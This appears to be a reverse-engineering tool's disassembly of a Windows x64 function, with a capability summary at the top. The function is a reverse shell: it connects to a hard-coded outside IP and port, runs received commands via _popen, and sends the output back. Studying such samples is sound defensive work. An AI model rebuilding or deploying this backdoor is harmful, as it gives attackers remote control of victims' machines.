Function at 0x1400011c0
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
lea rdx, [rbp - 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001236
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.WSAStartup_failed
call fcn.140001a00
lea rdx, [0x140001be0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x140001857
mov qword [rsp + 0x6e0], rbx
xor r8d, r8d
mov ebx, 2
mov qword [rsp + 0x6b8], r14
mov ecx, ebx
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140001295
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Socket_creation_error
call fcn.140001a00
lea rdx, [0x140001be0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, r14d
jmp 0x140001847
mov ecx, 0x159d
mov word [rsp + 0x70], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x74]
mov ecx, ebx
lea rdx, str.172.234.108.45
mov word [rsp + 0x72], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001313
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Connection_Failed
call fcn.140001a00
lea rdx, [0x140001be0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0xffffffff
jmp 0x140001847
mov qword [rsp + 0x6c8], r12
lea rdx, [rbp + 0x1a0]
xor r9d, r9d
mov qword [rsp + 0x6b0], r15
mov r8d, 0x400
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___server:
call fcn.140001a00
mov rcx, rax
lea rdx, [rbp + 0x1a0]
call fcn.140001a00
lea rdx, [0x140001be0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x1a0]
mov r8d, 0x400
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
xor r15d, r15d
lea rax, [rbp + 0x1a0]
xorps xmm0, xmm0
mov qword [rsp + 0x40], r15
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], r15
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400013c0
mov qword [rsp + 0x6e8], rsi
movabs r12, 0x7fffffffffffffff
mov qword [rsp + 0x6f0], rdi
mov qword [rsp + 0x6c0], r13
cmp rbx, r12
ja 0x14000187c
movabs r13, 0x8000000000000000
mov eax, socket
cmp rbx, 0xf
ja 0x140001435
mov r8, rbx
mov qword [rsp + 0x40], rbx
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x48], send
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], r15b
jmp 0x1400014c2
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x14000144a
mov rdi, r12
lea rax, [r13 + 0x27]
jmp 0x140001476
cmp rdi, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001460
mov rsi, r15
jmp 0x14000149d
cmp rcx, 0x1000
jb 0x140001495
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001876
mov rcx, rax
call fcn.140002010
test rax, rax
je 0x14000186f
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000149d
call fcn.140002010
mov rsi, rax
mov r8, rbx
mov qword [rsp + 0x30], rsi
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x40], rbx
mov rcx, rsi
mov qword [rsp + 0x48], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r15b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___received_command:
call fcn.140001a00
cmp qword [rsp + 0x48], 0xf
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
cmova rdx, qword [rsp + 0x30]
call fcn.140001e20
lea rdx, [0x140001be0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
mov r8, qword [rsp + 0x30]
cmp rax, 0xf
mov rdx, qword [rsp + 0x40]
cmova rcx, r8
cmp rdx, 1
jne 0x14000152e
cmp byte [rcx], 0x71
je 0x1400017db
cmp rax, 0xf
lea rcx, [rsp + 0x30]
cmova rcx, r8
cmp rdx, 4
jne 0x14000154d
cmp dword [rcx], 0x74697571
je 0x1400017db
cmp rax, 0xf
lea rcx, [rsp + 0x30]
cmova rcx, r8
cmp rdx, 1
jne 0x140001569
cmp byte [rcx], 0x78
je 0x1400017db
cmp rax, 0xf
lea rcx, [rsp + 0x30]
cmova rcx, r8
cmp rdx, 4
jne 0x140001588
cmp dword [rcx], 0x74697865
je 0x1400017db
cmp rax, 0xf
lea rcx, [rsp + 0x30]
lea rdx, [0x1400034a0]
cmova rcx, r8
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rsi, rax
test rax, rax
jne 0x1400015d2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_run_command
call fcn.140001a00
lea rdx, [0x140001be0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000173a
xorps xmm0, xmm0
mov qword [rsp + 0x60], r15
movups xmmword [rsp + 0x50], xmm0
mov r8, rsi
mov byte [rsp + 0x50], r15b
mov edx, 0x80
mov qword [rsp + 0x68], send
lea rcx, [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400016a8
nop dword [rax + rax]
lea rax, [rbp + 0x120]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140001620
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140001671
cmp rdx, 0xf
lea rax, [rbx + rcx]
lea rdi, [rsp + 0x50]
mov qword [rsp + 0x60], rax
cmova rdi, qword [rsp + 0x50]
lea rdx, [rbp + 0x120]
add rdi, rcx
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], r15b
jmp 0x14000168a
lea r9, [rbp + 0x120]
mov qword [rsp + 0x20], rbx
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001c20
mov r8, rsi
lea rcx, [rbp + 0x120]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001610
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
cmp qword [rsp + 0x60], r15
jne 0x1400016c8
mov r8d, recv
lea rcx, [rsp + 0x50]
call fcn.140001890
cmp qword [rsp + 0x68], 0xf
lea rdx, [rsp + 0x50]
mov r8d, dword [rsp + 0x60]
mov rcx, r14
cmova rdx, qword [rsp + 0x50]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001727
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001722
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000186f
call fcn.140002054
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], send
mov byte [rsp + 0x50], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001777
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001772
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000186f
call fcn.140002054
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x1a0]
mov r8d, 0x400
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rsp + 0x40], r15
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], r15
lea rax, [rbp + 0x1a0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400017c4
cmp rbx, r12
ja 0x14000187c
jmp 0x1400013fe
cmp rax, 0xf
jbe 0x14000180e
lea rdx, [rax + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x140001806
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000186f
mov rcx, r8
call fcn.140002054
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rsi, qword [rsp + 0x6e8]
xor eax, eax
mov r13, qword [rsp + 0x6c0]
mov rdi, qword [rsp + 0x6f0]
mov r12, qword [rsp + 0x6c8]
mov r15, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0x6e0]
mov r14, qword [rsp + 0x6b8]
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x6d0
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001100
int3
call fcn.1400011a0
int3